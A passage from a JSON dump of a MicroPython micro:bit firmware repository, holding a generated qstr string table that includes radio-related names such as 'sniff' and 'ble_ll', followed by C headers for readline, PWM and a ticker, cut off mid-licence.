\"__bool__\")\nQDEF(MP_QSTR___build_class__, (const byte*)\"\\x42\\x0f\" \"__build_class__\")\nQDEF(MP_QSTR___call__, (const byte*)\"\\xa7\\x08\" \"__call__\")\nQDEF(MP_QSTR___class__, (const byte*)\"\\x2b\\x09\" \"__class__\")\nQDEF(MP_QSTR___contains__, (const byte*)\"\\xc6\\x0c\" \"__contains__\")\nQDEF(MP_QSTR___delitem__, (const byte*)\"\\xfd\\x0b\" \"__delitem__\")\nQDEF(MP_QSTR___enter__, (const byte*)\"\\x6d\\x09\" \"__enter__\")\nQDEF(MP_QSTR___eq__, (const byte*)\"\\x71\\x06\" \"__eq__\")\nQDEF(MP_QSTR___exit__, (const byte*)\"\\x45\\x08\" \"__exit__\")\nQDEF(MP_QSTR___ge__, (const byte*)\"\\xa7\\x06\" \"__ge__\")\nQDEF(MP_QSTR___getattr__, (const byte*)\"\\x40\\x0b\" \"__getattr__\")\nQDEF(MP_QSTR___getitem__, (const byte*)\"\\x26\\x0b\" \"__getitem__\")\nQDEF(MP_QSTR___gt__, (const byte*)\"\\xb6\\x06\" \"__gt__\")\nQDEF(MP_QSTR___hash__, (const byte*)\"\\xf7\\x08\" \"__hash__\")\nQDEF(MP_QSTR___import__, (const byte*)\"\\x38\\x0a\" \"__import__\")\nQDEF(MP_QSTR___init__, (const byte*)\"\\x5f\\x08\" \"__init__\")\nQDEF(MP_QSTR___iter__, (const byte*)\"\\xcf\\x08\" \"__iter__\")\nQDEF(MP_QSTR___le__, (const byte*)\"\\xcc\\x06\" \"__le__\")\nQDEF(MP_QSTR___len__, (const byte*)\"\\xe2\\x07\" \"__len__\")\nQDEF(MP_QSTR___lt__, (const byte*)\"\\x5d\\x06\" \"__lt__\")\nQDEF(MP_QSTR___main__, (const byte*)\"\\x8e\\x08\" \"__main__\")\nQDEF(MP_QSTR___module__, (const byte*)\"\\xff\\x0a\" \"__module__\")\nQDEF(MP_QSTR___name__, (const byte*)\"\\xe2\\x08\" \"__name__\")\nQDEF(MP_QSTR___new__, (const byte*)\"\\x79\\x07\" \"__new__\")\nQDEF(MP_QSTR___next__, (const byte*)\"\\x02\\x08\" \"__next__\")\nQDEF(MP_QSTR___path__, (const byte*)\"\\xc8\\x08\" \"__path__\")\nQDEF(MP_QSTR___qualname__, (const byte*)\"\\x6b\\x0c\" \"__qualname__\")\nQDEF(MP_QSTR___repl_print__, (const byte*)\"\\x01\\x0e\" \"__repl_print__\")\nQDEF(MP_QSTR___repr__, (const byte*)\"\\x10\\x08\" \"__repr__\")\nQDEF(MP_QSTR___reversed__, (const byte*)\"\\x61\\x0c\" \"__reversed__\")\nQDEF(MP_QSTR___setitem__, (const byte*)\"\\x32\\x0b\" \"__setitem__\")\nQDEF(MP_QSTR___str__, (const byte*)\"\\xd0\\x07\" \"__str__\")\nQDEF(MP_QSTR___sub__, (const byte*)\"\\x21\\x07\" \"__sub__\")\nQDEF(MP_QSTR___traceback__, (const byte*)\"\\x4f\\x0d\" \"__traceback__\")\nQDEF(MP_QSTR_abs, (const byte*)\"\\x95\\x03\" \"abs\")\nQDEF(MP_QSTR_acos, (const byte*)\"\\x1b\\x04\" \"acos\")\nQDEF(MP_QSTR_add, (const byte*)\"\\x44\\x03\" \"add\")\nQDEF(MP_QSTR_align, (const byte*)\"\\xa8\\x05\" \"align\")\nQDEF(MP_QSTR_all, (const byte*)\"\\x44\\x03\" \"all\")\nQDEF(MP_QSTR_and_, (const byte*)\"\\x91\\x04\" \"and_\")\nQDEF(MP_QSTR_append, (const byte*)\"\\x6b\\x06\" \"append\")\nQDEF(MP_QSTR_args, (const byte*)\"\\xc2\\x04\" \"args\")\nQDEF(MP_QSTR_array, (const byte*)\"\\x7c\\x05\" \"array\")\nQDEF(MP_QSTR_asin, (const byte*)\"\\x50\\x04\" \"asin\")\nQDEF(MP_QSTR_asm_thumb, (const byte*)\"\\x43\\x09\" \"asm_thumb\")\nQDEF(MP_QSTR_asr, (const byte*)\"\\x65\\x03\" \"asr\")\nQDEF(MP_QSTR_atan, (const byte*)\"\\x1f\\x04\" \"atan\")\nQDEF(MP_QSTR_atan2, (const byte*)\"\\xcd\\x05\" \"atan2\")\nQDEF(MP_QSTR_bin, (const byte*)\"\\xe0\\x03\" \"bin\")\nQDEF(MP_QSTR_bl, (const byte*)\"\\xcb\\x02\" \"bl\")\nQDEF(MP_QSTR_bool, (const byte*)\"\\xeb\\x04\" \"bool\")\nQDEF(MP_QSTR_bound_method, (const byte*)\"\\x97\\x0c\" \"bound_method\")\nQDEF(MP_QSTR_builtins, (const byte*)\"\\xf7\\x08\" \"builtins\")\nQDEF(MP_QSTR_bx, (const byte*)\"\\xdf\\x02\" \"bx\")\nQDEF(MP_QSTR_bytearray, (const byte*)\"\\x76\\x09\" \"bytearray\")\nQDEF(MP_QSTR_bytecode, (const byte*)\"\\x22\\x08\" \"bytecode\")\nQDEF(MP_QSTR_byteorder, (const byte*)\"\\x61\\x09\" \"byteorder\")\nQDEF(MP_QSTR_bytes, (const byte*)\"\\x5c\\x05\" \"bytes\")\nQDEF(MP_QSTR_calcsize, (const byte*)\"\\x4d\\x08\" \"calcsize\")\nQDEF(MP_QSTR_callable, (const byte*)\"\\x0d\\x08\" \"callable\")\nQDEF(MP_QSTR_ceil, (const byte*)\"\\x06\\x04\" \"ceil\")\nQDEF(MP_QSTR_chr, (const byte*)\"\\xdc\\x03\" \"chr\")\nQDEF(MP_QSTR_classmethod, (const byte*)\"\\xb4\\x0b\" \"classmethod\")\nQDEF(MP_QSTR_close, (const byte*)\"\\x33\\x05\" \"close\")\nQDEF(MP_QSTR_closure, (const byte*)\"\\x74\\x07\" \"closure\")\nQDEF(MP_QSTR_clz, (const byte*)\"\\x50\\x03\" \"clz\")\nQDEF(MP_QSTR_cmp, (const byte*)\"\\x3b\\x03\" \"cmp\")\nQDEF(MP_QSTR_collect, (const byte*)\"\\x9b\\x07\" \"collect\")\nQDEF(MP_QSTR_const, (const byte*)\"\\xc0\\x05\" \"const\")\nQDEF(MP_QSTR_copysign, (const byte*)\"\\x33\\x08\" \"copysign\")\nQDEF(MP_QSTR_cos, (const byte*)\"\\x7a\\x03\" \"cos\")\nQDEF(MP_QSTR_count, (const byte*)\"\\xa6\\x05\" \"count\")\nQDEF(MP_QSTR_cpsid, (const byte*)\"\\xe8\\x05\" \"cpsid\")\nQDEF(MP_QSTR_cpsie, (const byte*)\"\\xe9\\x05\" \"cpsie\")\nQDEF(MP_QSTR_data, (const byte*)\"\\x15\\x04\" \"data\")\nQDEF(MP_QSTR_default, (const byte*)\"\\xce\\x07\" \"default\")\nQDEF(MP_QSTR_degrees, (const byte*)\"\\x02\\x07\" \"degrees\")\nQDEF(MP_QSTR_dict, (const byte*)\"\\x3f\\x04\" \"dict\")\nQDEF(MP_QSTR_dict_view, (const byte*)\"\\x2d\\x09\" \"dict_view\")\nQDEF(MP_QSTR_difference, (const byte*)\"\\x72\\x0a\" \"difference\")\nQDEF(MP_QSTR_difference_update, (const byte*)\"\\x9c\\x11\" \"difference_update\")\nQDEF(MP_QSTR_dir, (const byte*)\"\\xfa\\x03\" \"dir\")\nQDEF(MP_QSTR_disable, (const byte*)\"\\x91\\x07\" \"disable\")\nQDEF(MP_QSTR_disable_irq, (const byte*)\"\\x04\\x0b\" \"disable_irq\")\nQDEF(MP_QSTR_discard, (const byte*)\"\\x0f\\x07\" \"discard\")\nQDEF(MP_QSTR_divmod, (const byte*)\"\\xb8\\x06\" \"divmod\")\nQDEF(MP_QSTR_enable, (const byte*)\"\\x04\\x06\" \"enable\")\nQDEF(MP_QSTR_enable_irq, (const byte*)\"\\x91\\x0a\" \"enable_irq\")\nQDEF(MP_QSTR_end, (const byte*)\"\\x0a\\x03\" \"end\")\nQDEF(MP_QSTR_endswith, (const byte*)\"\\x1b\\x08\" \"endswith\")\nQDEF(MP_QSTR_enumerate, (const byte*)\"\\x71\\x09\" \"enumerate\")\nQDEF(MP_QSTR_eval, (const byte*)\"\\x9b\\x04\" \"eval\")\nQDEF(MP_QSTR_exec, (const byte*)\"\\x1e\\x04\" \"exec\")\nQDEF(MP_QSTR_exit, (const byte*)\"\\x85\\x04\" \"exit\")\nQDEF(MP_QSTR_exp, (const byte*)\"\\xc8\\x03\" \"exp\")\nQDEF(MP_QSTR_extend, (const byte*)\"\\x63\\x06\" \"extend\")\nQDEF(MP_QSTR_fabs, (const byte*)\"\\x93\\x04\" \"fabs\")\nQDEF(MP_QSTR_filter, (const byte*)\"\\x25\\x06\" \"filter\")\nQDEF(MP_QSTR_find, (const byte*)\"\\x01\\x04\" \"find\")\nQDEF(MP_QSTR_float, (const byte*)\"\\x35\\x05\" \"float\")\nQDEF(MP_QSTR_floor, (const byte*)\"\\x7d\\x05\" \"floor\")\nQDEF(MP_QSTR_fmod, (const byte*)\"\\xe5\\x04\" \"fmod\")\nQDEF(MP_QSTR_format, (const byte*)\"\\x26\\x06\" \"format\")\nQDEF(MP_QSTR_frexp, (const byte*)\"\\x1c\\x05\" \"frexp\")\nQDEF(MP_QSTR_from_bytes, (const byte*)\"\\x35\\x0a\" \"from_bytes\")\nQDEF(MP_QSTR_fromkeys, (const byte*)\"\\x37\\x08\" \"fromkeys\")\nQDEF(MP_QSTR_frozenset, (const byte*)\"\\xed\\x09\" \"frozenset\")\nQDEF(MP_QSTR_function, (const byte*)\"\\x27\\x08\" \"function\")\nQDEF(MP_QSTR_gc, (const byte*)\"\\x61\\x02\" \"gc\")\nQDEF(MP_QSTR_generator, (const byte*)\"\\x96\\x09\" \"generator\")\nQDEF(MP_QSTR_get, (const byte*)\"\\x33\\x03\" \"get\")\nQDEF(MP_QSTR_getattr, (const byte*)\"\\xc0\\x07\" \"getattr\")\nQDEF(MP_QSTR_globals, (const byte*)\"\\x9d\\x07\" \"globals\")\nQDEF(MP_QSTR_hasattr, (const byte*)\"\\x8c\\x07\" \"hasattr\")\nQDEF(MP_QSTR_hash, (const byte*)\"\\xb7\\x04\" \"hash\")\nQDEF(MP_QSTR_heap_lock, (const byte*)\"\\xad\\x09\" \"heap_lock\")\nQDEF(MP_QSTR_heap_unlock, (const byte*)\"\\x56\\x0b\" \"heap_unlock\")\nQDEF(MP_QSTR_hex, (const byte*)\"\\x70\\x03\" \"hex\")\nQDEF(MP_QSTR_id, (const byte*)\"\\x28\\x02\" \"id\")\nQDEF(MP_QSTR_implementation, (const byte*)\"\\x17\\x0e\" \"implementation\")\nQDEF(MP_QSTR_index, (const byte*)\"\\x7b\\x05\" \"index\")\nQDEF(MP_QSTR_insert, (const byte*)\"\\x12\\x06\" \"insert\")\nQDEF(MP_QSTR_int, (const byte*)\"\\x16\\x03\" \"int\")\nQDEF(MP_QSTR_intersection, (const byte*)\"\\x28\\x0c\" \"intersection\")\nQDEF(MP_QSTR_intersection_update, (const byte*)\"\\x06\\x13\" \"intersection_update\")\nQDEF(MP_QSTR_isalpha, (const byte*)\"\\xeb\\x07\" \"isalpha\")\nQDEF(MP_QSTR_isdigit, (const byte*)\"\\xa8\\x07\" \"isdigit\")\nQDEF(MP_QSTR_isdisjoint, (const byte*)\"\\xf7\\x0a\" \"isdisjoint\")\nQDEF(MP_QSTR_isenabled, (const byte*)\"\\x9a\\x09\" \"isenabled\")\nQDEF(MP_QSTR_isfinite, (const byte*)\"\\xa6\\x08\" \"isfinite\")\nQDEF(MP_QSTR_isinf, (const byte*)\"\\x3e\\x05\" \"isinf\")\nQDEF(MP_QSTR_isinstance, (const byte*)\"\\xb6\\x0a\" \"isinstance\")\nQDEF(MP_QSTR_islower, (const byte*)\"\\xfc\\x07\" \"islower\")\nQDEF(MP_QSTR_isnan, (const byte*)\"\\x9e\\x05\" \"isnan\")\nQDEF(MP_QSTR_isspace, (const byte*)\"\\x5b\\x07\" \"isspace\")\nQDEF(MP_QSTR_issubclass, (const byte*)\"\\xb5\\x0a\" \"issubclass\")\nQDEF(MP_QSTR_issubset, (const byte*)\"\\xb9\\x08\" \"issubset\")\nQDEF(MP_QSTR_issuperset, (const byte*)\"\\xfc\\x0a\" \"issuperset\")\nQDEF(MP_QSTR_isupper, (const byte*)\"\\xdd\\x07\" \"isupper\")\nQDEF(MP_QSTR_items, (const byte*)\"\\xe3\\x05\" \"items\")\nQDEF(MP_QSTR_iter, (const byte*)\"\\x8f\\x04\" \"iter\")\nQDEF(MP_QSTR_iterator, (const byte*)\"\\x47\\x08\" \"iterator\")\nQDEF(MP_QSTR_join, (const byte*)\"\\xa7\\x04\" \"join\")\nQDEF(MP_QSTR_kbd_intr, (const byte*)\"\\xf6\\x08\" \"kbd_intr\")\nQDEF(MP_QSTR_key, (const byte*)\"\\x32\\x03\" \"key\")\nQDEF(MP_QSTR_keys, (const byte*)\"\\x01\\x04\" \"keys\")\nQDEF(MP_QSTR_label, (const byte*)\"\\x43\\x05\" \"label\")\nQDEF(MP_QSTR_ldexp, (const byte*)\"\\x40\\x05\" \"ldexp\")\nQDEF(MP_QSTR_ldr, (const byte*)\"\\x5f\\x03\" \"ldr\")\nQDEF(MP_QSTR_ldrb, (const byte*)\"\\x5d\\x04\" \"ldrb\")\nQDEF(MP_QSTR_ldrex, (const byte*)\"\\xe2\\x05\" \"ldrex\")\nQDEF(MP_QSTR_ldrh, (const byte*)\"\\x57\\x04\" \"ldrh\")\nQDEF(MP_QSTR_len, (const byte*)\"\\x62\\x03\" \"len\")\nQDEF(MP_QSTR_list, (const byte*)\"\\x27\\x04\" \"list\")\nQDEF(MP_QSTR_little, (const byte*)\"\\x89\\x06\" \"little\")\nQDEF(MP_QSTR_locals, (const byte*)\"\\x3b\\x06\" \"locals\")\nQDEF(MP_QSTR_log, (const byte*)\"\\x21\\x03\" \"log\")\nQDEF(MP_QSTR_lower, (const byte*)\"\\xc6\\x05\" \"lower\")\nQDEF(MP_QSTR_lsl, (const byte*)\"\\xb6\\x03\" \"lsl\")\nQDEF(MP_QSTR_lsr, (const byte*)\"\\xa8\\x03\" \"lsr\")\nQDEF(MP_QSTR_lstrip, (const byte*)\"\\xe5\\x06\" \"lstrip\")\nQDEF(MP_QSTR_map, (const byte*)\"\\xb9\\x03\" \"map\")\nQDEF(MP_QSTR_math, (const byte*)\"\\x35\\x04\" \"math\")\nQDEF(MP_QSTR_max, (const byte*)\"\\xb1\\x03\" \"max\")\nQDEF(MP_QSTR_mem, (const byte*)\"\\x20\\x03\" \"mem\")\nQDEF(MP_QSTR_mem16, (const byte*)\"\\x07\\x05\" \"mem16\")\nQDEF(MP_QSTR_mem32, (const byte*)\"\\x41\\x05\" \"mem32\")\nQDEF(MP_QSTR_mem8, (const byte*)\"\\x18\\x04\" \"mem8\")\nQDEF(MP_QSTR_mem_alloc, (const byte*)\"\\x52\\x09\" \"mem_alloc\")\nQDEF(MP_QSTR_mem_free, (const byte*)\"\\xcb\\x08\" \"mem_free\")\nQDEF(MP_QSTR_mem_info, (const byte*)\"\\xd1\\x08\" \"mem_info\")\nQDEF(MP_QSTR_min, (const byte*)\"\\xaf\\x03\" \"min\")\nQDEF(MP_QSTR_modf, (const byte*)\"\\x25\\x04\" \"modf\")\nQDEF(MP_QSTR_module, (const byte*)\"\\xbf\\x06\" \"module\")\nQDEF(MP_QSTR_modules, (const byte*)\"\\xec\\x07\" \"modules\")\nQDEF(MP_QSTR_mov, (const byte*)\"\\xf1\\x03\" \"mov\")\nQDEF(MP_QSTR_movt, (const byte*)\"\\x65\\x04\" \"movt\")\nQDEF(MP_QSTR_movw, (const byte*)\"\\x66\\x04\" \"movw\")\nQDEF(MP_QSTR_movwt, (const byte*)\"\\x52\\x05\" \"movwt\")\nQDEF(MP_QSTR_mrs, (const byte*)\"\\x89\\x03\" \"mrs\")\nQDEF(MP_QSTR_namedtuple, (const byte*)\"\\x1e\\x0a\" \"namedtuple\")\nQDEF(MP_QSTR_next, (const byte*)\"\\x42\\x04\" \"next\")\nQDEF(MP_QSTR_nop, (const byte*)\"\\xb4\\x03\" \"nop\")\nQDEF(MP_QSTR_object, (const byte*)\"\\x90\\x06\" \"object\")\nQDEF(MP_QSTR_oct, (const byte*)\"\\xfd\\x03\" \"oct\")\nQDEF(MP_QSTR_open, (const byte*)\"\\xd1\\x04\" \"open\")\nQDEF(MP_QSTR_opt_level, (const byte*)\"\\x87\\x09\" \"opt_level\")\nQDEF(MP_QSTR_ord, (const byte*)\"\\x1c\\x03\" \"ord\")\nQDEF(MP_QSTR_pack, (const byte*)\"\\xbc\\x04\" \"pack\")\nQDEF(MP_QSTR_pack_into, (const byte*)\"\\x1f\\x09\" \"pack_into\")\nQDEF(MP_QSTR_pi, (const byte*)\"\\x1c\\x02\" \"pi\")\nQDEF(MP_QSTR_platform, (const byte*)\"\\x3a\\x08\" \"platform\")\nQDEF(MP_QSTR_pop, (const byte*)\"\\x2a\\x03\" \"pop\")\nQDEF(MP_QSTR_popitem, (const byte*)\"\\xbf\\x07\" \"popitem\")\nQDEF(MP_QSTR_pow, (const byte*)\"\\x2d\\x03\" \"pow\")\nQDEF(MP_QSTR_print, (const byte*)\"\\x54\\x05\" \"print\")\nQDEF(MP_QSTR_print_exception, (const byte*)\"\\x1c\\x0f\" \"print_exception\")\nQDEF(MP_QSTR_push, (const byte*)\"\\xbb\\x04\" \"push\")\nQDEF(MP_QSTR_qstr_info, (const byte*)\"\\xb0\\x09\" \"qstr_info\")\nQDEF(MP_QSTR_radians, (const byte*)\"\\x87\\x07\" \"radians\")\nQDEF(MP_QSTR_range, (const byte*)\"\\x1a\\x05\" \"range\")\nQDEF(MP_QSTR_rbit, (const byte*)\"\\xe8\\x04\" \"rbit\")\nQDEF(MP_QSTR_read_light_level, (const byte*)\"\\x5f\\x10\" \"read_light_level\")\nQDEF(MP_QSTR_remove, (const byte*)\"\\x63\\x06\" \"remove\")\nQDEF(MP_QSTR_replace, (const byte*)\"\\x49\\x07\" \"replace\")\nQDEF(MP_QSTR_repr, (const byte*)\"\\xd0\\x04\" \"repr\")\nQDEF(MP_QSTR_reverse, (const byte*)\"\\x25\\x07\" \"reverse\")\nQDEF(MP_QSTR_reversed, (const byte*)\"\\xa1\\x08\" \"reversed\")\nQDEF(MP_QSTR_rfind, (const byte*)\"\\xd2\\x05\" \"rfind\")\nQDEF(MP_QSTR_rindex, (const byte*)\"\\xe9\\x06\" \"rindex\")\nQDEF(MP_QSTR_round, (const byte*)\"\\xe7\\x05\" \"round\")\nQDEF(MP_QSTR_rsplit, (const byte*)\"\\xa5\\x06\" \"rsplit\")\nQDEF(MP_QSTR_rstrip, (const byte*)\"\\x3b\\x06\" \"rstrip\")\nQDEF(MP_QSTR_scan, (const byte*)\"\\x1a\\x04\" \"scan\")\nQDEF(MP_QSTR_sdiv, (const byte*)\"\\xcd\\x04\" \"sdiv\")\nQDEF(MP_QSTR_sep, (const byte*)\"\\x23\\x03\" \"sep\")\nQDEF(MP_QSTR_set, (const byte*)\"\\x27\\x03\" \"set\")\nQDEF(MP_QSTR_setattr, (const byte*)\"\\xd4\\x07\" \"setattr\")\nQDEF(MP_QSTR_setdefault, (const byte*)\"\\x6c\\x0a\" \"setdefault\")\nQDEF(MP_QSTR_sin, (const byte*)\"\\xb1\\x03\" \"sin\")\nQDEF(MP_QSTR_sleep_ms, (const byte*)\"\\x0b\\x08\" \"sleep_ms\")\nQDEF(MP_QSTR_sleep_us, (const byte*)\"\\x13\\x08\" \"sleep_us\")\nQDEF(MP_QSTR_sort, (const byte*)\"\\xbf\\x04\" \"sort\")\nQDEF(MP_QSTR_sorted, (const byte*)\"\\x5e\\x06\" \"sorted\")\nQDEF(MP_QSTR_split, (const byte*)\"\\xb7\\x05\" \"split\")\nQDEF(MP_QSTR_sqrt, (const byte*)\"\\x21\\x04\" \"sqrt\")\nQDEF(MP_QSTR_stack_use, (const byte*)\"\\x97\\x09\" \"stack_use\")\nQDEF(MP_QSTR_startswith, (const byte*)\"\\x74\\x0a\" \"startswith\")\nQDEF(MP_QSTR_staticmethod, (const byte*)\"\\x62\\x0c\" \"staticmethod\")\nQDEF(MP_QSTR_step, (const byte*)\"\\x57\\x04\" \"step\")\nQDEF(MP_QSTR_str, (const byte*)\"\\x50\\x03\" \"str\")\nQDEF(MP_QSTR_strb, (const byte*)\"\\x32\\x04\" \"strb\")\nQDEF(MP_QSTR_strex, (const byte*)\"\\xad\\x05\" \"strex\")\nQDEF(MP_QSTR_strh, (const byte*)\"\\x38\\x04\" \"strh\")\nQDEF(MP_QSTR_strip, (const byte*)\"\\x29\\x05\" \"strip\")\nQDEF(MP_QSTR_sub, (const byte*)\"\\x21\\x03\" \"sub\")\nQDEF(MP_QSTR_sum, (const byte*)\"\\x2e\\x03\" \"sum\")\nQDEF(MP_QSTR_super, (const byte*)\"\\xc4\\x05\" \"super\")\nQDEF(MP_QSTR_symmetric_difference, (const byte*)\"\\xce\\x14\" \"symmetric_difference\")\nQDEF(MP_QSTR_symmetric_difference_update, (const byte*)\"\\x60\\x1b\" \"symmetric_difference_update\")\nQDEF(MP_QSTR_sys, (const byte*)\"\\xbc\\x03\" \"sys\")\nQDEF(MP_QSTR_tan, (const byte*)\"\\xfe\\x03\" \"tan\")\nQDEF(MP_QSTR_threshold, (const byte*)\"\\xf2\\x09\" \"threshold\")\nQDEF(MP_QSTR_throw, (const byte*)\"\\xb3\\x05\" \"throw\")\nQDEF(MP_QSTR_ticks_add, (const byte*)\"\\x9d\\x09\" \"ticks_add\")\nQDEF(MP_QSTR_ticks_diff, (const byte*)\"\\xb1\\x0a\" \"ticks_diff\")\nQDEF(MP_QSTR_ticks_ms, (const byte*)\"\\x42\\x08\" \"ticks_ms\")\nQDEF(MP_QSTR_ticks_us, (const byte*)\"\\x5a\\x08\" \"ticks_us\")\nQDEF(MP_QSTR_time, (const byte*)\"\\xf0\\x04\" \"time\")\nQDEF(MP_QSTR_time_pulse_us, (const byte*)\"\\x89\\x0d\" \"time_pulse_us\")\nQDEF(MP_QSTR_to_bytes, (const byte*)\"\\xd8\\x08\" \"to_bytes\")\nQDEF(MP_QSTR_trunc, (const byte*)\"\\x5b\\x05\" \"trunc\")\nQDEF(MP_QSTR_tuple, (const byte*)\"\\xfd\\x05\" \"tuple\")\nQDEF(MP_QSTR_type, (const byte*)\"\\x9d\\x04\" \"type\")\nQDEF(MP_QSTR_ucollections, (const byte*)\"\\x15\\x0c\" \"ucollections\")\nQDEF(MP_QSTR_udiv, (const byte*)\"\\x8b\\x04\" \"udiv\")\nQDEF(MP_QSTR_uint, (const byte*)\"\\xe3\\x04\" \"uint\")\nQDEF(MP_QSTR_union, (const byte*)\"\\xf6\\x05\" \"union\")\nQDEF(MP_QSTR_unique_id, (const byte*)\"\\x04\\x09\" \"unique_id\")\nQDEF(MP_QSTR_unpack, (const byte*)\"\\x07\\x06\" \"unpack\")\nQDEF(MP_QSTR_unpack_from, (const byte*)\"\\x0e\\x0b\" \"unpack_from\")\nQDEF(MP_QSTR_update, (const byte*)\"\\xb4\\x06\" \"update\")\nQDEF(MP_QSTR_upper, (const byte*)\"\\x27\\x05\" \"upper\")\nQDEF(MP_QSTR_ustruct, (const byte*)\"\\x47\\x07\" \"ustruct\")\nQDEF(MP_QSTR_utime, (const byte*)\"\\xe5\\x05\" \"utime\")\nQDEF(MP_QSTR_value, (const byte*)\"\\x4e\\x05\" \"value\")\nQDEF(MP_QSTR_values, (const byte*)\"\\x7d\\x06\" \"values\")\nQDEF(MP_QSTR_version_info, (const byte*)\"\\x6e\\x0c\" \"version_info\")\nQDEF(MP_QSTR_wfi, (const byte*)\"\\x9d\\x03\" \"wfi\")\nQDEF(MP_QSTR_zip, (const byte*)\"\\xe6\\x03\" \"zip\")\nQDEF(MP_QSTR_crc, (const byte*)\"\\x17\\x03\" \"crc\")\nQDEF(MP_QSTR_sniff_on, (const byte*)\"\\x4f\\x08\" \"sniff_on\")\nQDEF(MP_QSTR_raw, (const byte*)\"\\xe1\\x03\" \"raw\")\nQDEF(MP_QSTR_esb, (const byte*)\"\\x71\\x03\" \"esb\")\nQDEF(MP_QSTR_sb, (const byte*)\"\\xf4\\x02\" \"sb\")\nQDEF(MP_QSTR_cx, (const byte*)\"\\xfe\\x02\" \"cx\")\nQDEF(MP_QSTR_ble, (const byte*)\"\\x4e\\x03\" \"ble\")\nQDEF(MP_QSTR_ble_ll, (const byte*)\"\\xd1\\x06\" \"ble_ll\")\nQDEF(MP_QSTR_ping, (const byte*)\"\\x55\\x04\" \"ping\")\nQDEF(MP_QSTR_sniff, (const byte*)\"\\xd1\\x05\" \"sniff\")\n"
  },
  {
    "path": "micropython/inc/lib/iters.h",
    "content": "\n#include \"py/runtime.h\"\n\nmp_obj_t microbit_repeat_iterator(mp_obj_t iterable);\n"
  },
  {
    "path": "micropython/inc/lib/mp-readline/readline.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H\n#define MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H\n\n#define CHAR_CTRL_A (1)\n#define CHAR_CTRL_B (2)\n#define CHAR_CTRL_C (3)\n#define CHAR_CTRL_D (4)\n#define CHAR_CTRL_E (5)\n#define CHAR_CTRL_F (6)\n#define CHAR_CTRL_K (11)\n#define CHAR_CTRL_N (14)\n#define CHAR_CTRL_P (16)\n#define CHAR_CTRL_U (21)\n\nvoid readline_init0(void);\nint readline(vstr_t *line, const char *prompt);\nvoid readline_push_history(const char *line);\n\nvoid readline_init(vstr_t *line, const char *prompt);\nvoid readline_note_newline(const char *prompt);\nint readline_process_char(int c);\n\n#endif // MICROPY_INCLUDED_LIB_MP_READLINE_READLINE_H\n"
  },
  {
    "path": "micropython/inc/lib/pwm.h",
    "content": "#ifndef __MICROPY_INCLUDED_LIB_PWM_H__\n#define __MICROPY_INCLUDED_LIB_PWM_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid pwm_init(void);\nvoid pwm_start(void);\nvoid pwm_stop(void);\n\nint pwm_set_period_us(int32_t us);\nint32_t pwm_get_period_us(void);\nvoid pwm_set_duty_cycle(int32_t pin, int32_t value);\nvoid pwm_release(int32_t pin);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __MICROPY_INCLUDED_LIB_PWM_H__\n"
  },
  {
    "path": "micropython/inc/lib/ticker.h",
    "content": "#ifndef __MICROPY_INCLUDED_LIB_TICKER_H__\n#define __MICROPY_INCLUDED_LIB_TICKER_H__\n\n/*************************************\n * 62.5kHz (16µs cycle time) ticker.\n ************************************/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"nrf.h\"\n\ntypedef void (*callback_ptr)(void);\ntypedef int32_t (*ticker_callback_ptr)(void);\n\nextern volatile uint32_t ticker_ticks_ms;\n\nvoid ticker_init(callback_ptr slow_ticker_callback);\nvoid ticker_start(void);\nvoid ticker_stop(void);\n\nint clear_ticker_callback(uint32_t index);\nint set_ticker_callback(uint32_t index, ticker_callback_ptr func, int32_t initial_delay_us);\n\nint set_low_priority_callback(callback_ptr callback, int id);\n\n#define CYCLES_PER_MICROSECONDS 16\n\n#define MICROSECONDS_PER_TICK 16\n#define CYCLES_PER_TICK (CYCLES_PER_MICROSECONDS*MICROSECONDS_PER_TICK)\n// This must be an integer multiple of MICROSECONDS_PER_TICK\n#define MICROSECONDS_PER_MACRO_TICK 6000\n#define MILLISECONDS_PER_MACRO_TICK 6\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __MICROPY_INCLUDED_LIB_TICKER_H__\n"
  },
  {
    "path": "micropython/inc/lib/utils/interrupt_char.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 